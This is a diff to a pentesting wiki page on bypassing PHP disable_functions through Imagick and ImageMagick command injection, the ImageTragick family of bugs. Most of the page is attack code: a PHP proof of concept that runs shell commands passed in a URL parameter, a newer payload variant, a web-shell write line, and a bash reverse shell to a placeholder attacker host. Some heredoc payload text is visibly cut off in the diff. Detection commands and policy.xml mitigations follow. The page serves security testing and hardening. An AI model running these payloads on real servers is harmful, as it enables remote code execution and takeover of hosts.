diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index 68e1ff3488d..26a877d7bcd 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -1,61 +1,113 @@ -# Imagick <= 3.3.0 PHP >= 5.4 Exploit +# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass {{#include ../../../../banners/hacktricks-training.md}} +> The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`. +> +> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below. The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo. -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +From ```php -# Exploit Title: PHP Imagick disable_functions Bypass -# Date: 2016-05-04 -# Exploit Author: RicterZ (ricter@chaitin.com) -# Vendor Homepage: https://pecl.php.net/package/imagick -# Version: Imagick <= 3.3.0 PHP >= 5.4 -# Test on: Ubuntu 12.04 -# Exploit: +# Exploit Title : PHP Imagick disable_functions bypass +# Exploit Author: RicterZ (ricter@chaitin.com) +# Versions : Imagick <= 3.3.0 | PHP >= 5.4 +# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7) +# Usage : curl "http://target/exploit.php?cmd=id" -# -# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" -#
-# Disable functions: exec,passthru,shell_exec,system,popen
-# Run command: cat /etc/passwd
-# ====================
-# root:x:0:0:root:/root:/usr/local/bin/fish
-# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-# bin:x:2:2:bin:/bin:/bin/sh
-# sys:x:3:3:sys:/dev:/bin/sh
-# sync:x:4:65534:sync:/bin:/bin/sync
-# games:x:5:60:games:/usr/games:/bin/sh
-# ...
-# 
-echo "Disable functions: " . ini_get("disable_functions") . "\n"; -$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; -echo "Run command: $command\n====================\n"; - -$data_file = tempnam('/tmp', 'img'); -$imagick_file = tempnam('/tmp', 'img'); - -$exploit = <<$data_file")' +fill 'url(https://example.com/x.jpg"|$cmd >$tmp")' pop graphic-context EOF; -file_put_contents("$imagick_file", $exploit); -$thumb = new Imagick(); -$thumb->readImage("$imagick_file"); -$thumb->writeImage(tempnam('/tmp', 'img')); -$thumb->clear(); -$thumb->destroy(); +file_put_contents($mvgs, $payload); +$img = new Imagick(); +$img->readImage($mvgs); // triggers convert(1) +$img->writeImage(tempnam('/tmp', 'img')); +$img->destroy(); -echo file_get_contents($data_file); +echo file_get_contents($tmp); ?> ``` -{{#include ../../../../banners/hacktricks-training.md}} +--- + +## Why does it work? + +1. `Imagick::readImage()` transparently spawns the **ImageMagick** *delegate* (`convert`/`magick`) binary. +2. The MVG script sets the *fill* to an external URI. When a double quote (`"`) is injected, the remainder of the line is interpreted by `/bin/sh ‑c` that ImageMagick uses internally → arbitrary shell execution. +3. All happens outside of the PHP interpreter, therefore *`disable_functions`*, *open_basedir*, `safe_mode` (removed in PHP 5.4) and similar in-process restrictions are completely bypassed. + +## 2025 status – it is **still** relevant + +* Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable. In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`. +* Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…). Two recent public examples are: + * **CVE-2020-29599** – shell injection via the *text:* coder. + * **GitHub issue #6338** (2023) – injection in the *video:* delegate. +If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward. + +## Modern payload variants + +```php +// --- Variant using the video coder discovered in 2023 --- +$exp = <<readImageBlob($exp); +``` +Other useful primitives during CTFs / real engagements: +* **File write** – `... > /var/www/html/shell.php` (write web-shell outside *open_basedir*) +* **Reverse shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"` +* **Enumerate** – `id; uname -a; cat /etc/passwd` + +## Quick detection & enumeration + +```bash +# PHP side +php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";' + +# System side +convert -version | head -1 # ImageMagick version +convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled? +``` + +If the output shows the `MVG` or `URL` coders are *enabled* the target is probably exploitable. + +## Mitigations + +1. **Patch/Upgrade** – Use ImageMagick ≥ *7.1.1-11* (or the latest 6.x LTS) and Imagick ≥ *3.7.2*. +2. **Harden `policy.xml`** – explicitly *disable* high-risk coders: + + ```xml + + + + + + + ``` + +3. **Remove the extension** on untrusted hosting environments. In most web stacks `GD` or `Imagick` is not strictly required. +4. Treat `disable_functions` only as *defence-in-depth* – never as a primary sandboxing mechanism. + +## References + +* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) +* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599) +{{#include ../../../../banners/hacktricks-training.md}}